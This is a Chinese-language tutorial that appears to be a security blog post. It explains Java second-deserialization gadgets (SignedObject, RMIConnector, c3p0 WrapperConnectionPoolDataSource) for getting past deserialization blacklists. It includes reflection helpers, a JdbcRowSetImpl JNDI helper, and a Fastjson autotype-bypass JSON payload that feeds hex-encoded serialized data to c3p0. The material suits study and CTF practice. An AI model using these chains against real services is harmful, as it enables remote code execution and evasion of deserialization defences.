0x00 前言
二次反序列化是一个很好的思路,在面对一些特殊情况时往往有奇效······虽然容易挂在黑名单。
0x01 SignedObject
原理剖析
SignedObject的getObject()方法存在反序列化点:

反序列化的是SignedObject的content属性值。
SignedObject类的三个属性:

按照正常构造SignedObject类的逻辑,构造thealgorithm属性和signature属性的值还是比较麻烦的:

但是我一直使用一种方法,即是绕过该类现有构造器去构造该类,虽然该方法下的属性值都为空,但是通过反射还可以赋值。
对应函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); }
|
假如二次反序列化的是字节数组:serialize_o,可以将其赋值到content里,整体构造如下:

没办法再简化,三个属性必须都赋值,因为在SignedObject类的readObject()方法有做检查:

用法思路
如何触发SignedObject#getObject()?
可以是反射调用,就算是只能调用静态方法的反射,也可以加上一层MethodUtil.invoke方法,进而实现任意方法的反射;
也可以是getter调用,Rome、Jackson,Hibernate,Fastjson等依赖都可以调用getObject()方法。
至于第二次反序列化的链子就比较宽泛了,毕竟不需要考虑题目所给反序列化的一些限制,比如不能加载数组类等等。或者题目存在黑名单,第二次反序列化就不需要考虑这些黑名单。
稍微提一嘴,如果题目不允许加载数组类,或者题目使用URLClassLoader.loadClass()而非forName()加载类,可以通过CC6+InvokerTransformer+SignedObject+poc的方式进行攻击。
0x02 RMIConnector
利用点在javax.management.remote.rmi.RMIConnector#findRMIServerJRMP():

认真读下代码。首先可以确定,二次反序列化的数据存放在serialized变量里。然后我关注到类加载器的类型,env即便是null,也是获取当前线程的类加载器,没问题:

剩下的流程很正常。寻找findRMIServerJRMP()的调用点:

需要先处理一下isIiop的相关逻辑,不过不会妨碍正常流程。
重点在参数:JMXServiceURL directoryURL。该参数是一个url,会经过一些处理,把最后的反序列化数据给到findRMIServerJRMP()。进入该类一探究竟。

根据该类的构造方法,我们尝试构造一个URL例子。
URL开头必须是service:jmx:
,

开头后面紧接着就是协议:

协议不知道用啥,先随便填,之后根据报错再决定。现在构造方法的流程已经走完,也就是成功构造了一个JMXServiceURL实例。
回到findRMIServer(),目前的URL在协议上存在问题,只能是rmi或者iiop。事实上,无论选择哪种协议都不会影响后面的反序列化。

那么现在我们的URL也构造好了,这也意味着POC构造好了:

我这里用了很多取巧的方法去构造和修改对象,实际上都是调用反射,这些方法我写在Utils类,会在文末给出。
用法思路上,RMIConnector比SignedObject好一点,在于RMIConnector类在反序列化时不需要加载数组类。如果服务端重写了resloveClass(),并把类加载的方法forName()改成URLClassLoader.loadClass(),那么我们的POC就不能存在利用数组的地方。
0x03 WrapperConnectionPoolDataSource
漏洞点在com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString():

二次反序列化的数据由参数 String userOverridesAsString 给出。
寻找调用点,在WrapperConnectionPoolDataSource#setUpPropertyListeners()。

setUpPropertyListeners,顾名思义,即是设置Property监听器。如果当前监听的Property是userOverridesAsString属性,就会进入反序列化分支。
什么时候需要监听器呢?当然是属性做修改时,猜想是否与userOverridesAsString的setter方法有关。
事实上,WrapperConnectionPoolDataSource的父类WrapperConnectionPoolDataSourceBase定义了userOverridesAsString属性并存在setUserOverridesAsString()方法:

触发fireVetoableChange事件处理,调用监听器:

监听器判断属性是userOverridesAsString,就会进行反序列化。
所以我们的思路很简单,就是调用setter:setUserOverridesAsString()。我们还需要注意setUserOverridesAsString()所接受的参数(存放反序列化数据)的具体格式。
回到parseUserOverridesAsString():

切割的长度从”HexAsciiSerializedMap”后一位才开始,切割至末二位;再调用ByteUtils.fromHexAscii()方法将切割后的序列化数据转换为字节数组;最后才进行原生反序列化。
弄懂了流程,并且知道了payload的构造,直接上POC:(FastJson < 1.2.47,可以用缓存绕过 )。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package WrapperConnectionPoolDataSourceTest;
import SignedObjectTest.Person; import com.alibaba.fastjson.JSONObject; import com.mchange.lang.ByteUtils; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase;
import java.beans.VetoableChangeSupport; import java.lang.reflect.Field; import java.lang.reflect.Method;
import static Utils.Utils.*;
public class Main { public static void main(String[] args) throws Exception{ String hexAscii = ByteUtils.toHexAscii(serialize(new Person())); String s = "{\n" + " \"rand1\": {\n" + " \"@type\": \"java.lang.Class\",\n" + " \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"rand2\": {\n" + " \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"userOverridesAsString\": \"HexAsciiSerializedMap:"+ hexAscii +";\",\n" + " }\n" + "}"; JSONObject jsonObject = JSONObject.parseObject(s); System.out.println(jsonObject);
} }
|
0x04 Utils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package Utils;
import com.sun.rowset.JdbcRowSetImpl; import sun.reflect.ReflectionFactory;
import javax.sql.rowset.BaseRowSet; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field;
public class Utils { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); }
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] codes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return (T) objectInputStream.readObject(); }
public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Class c0 = BaseRowSet.class; Field dataSourceField = c0.getDeclaredField("dataSource"); dataSourceField.setAccessible(true); dataSourceField.set(jdbcRowSet,url); return jdbcRowSet; } }
|
0x05 参考
二次反序列化 看我一命通关 - 跳跳糖
https://xz.aliyun.com/news/13340
FastJson结合二次反序列化绕过黑名单-先知社区
c3p0的三个gadget的学习 | CN-SEC 中文网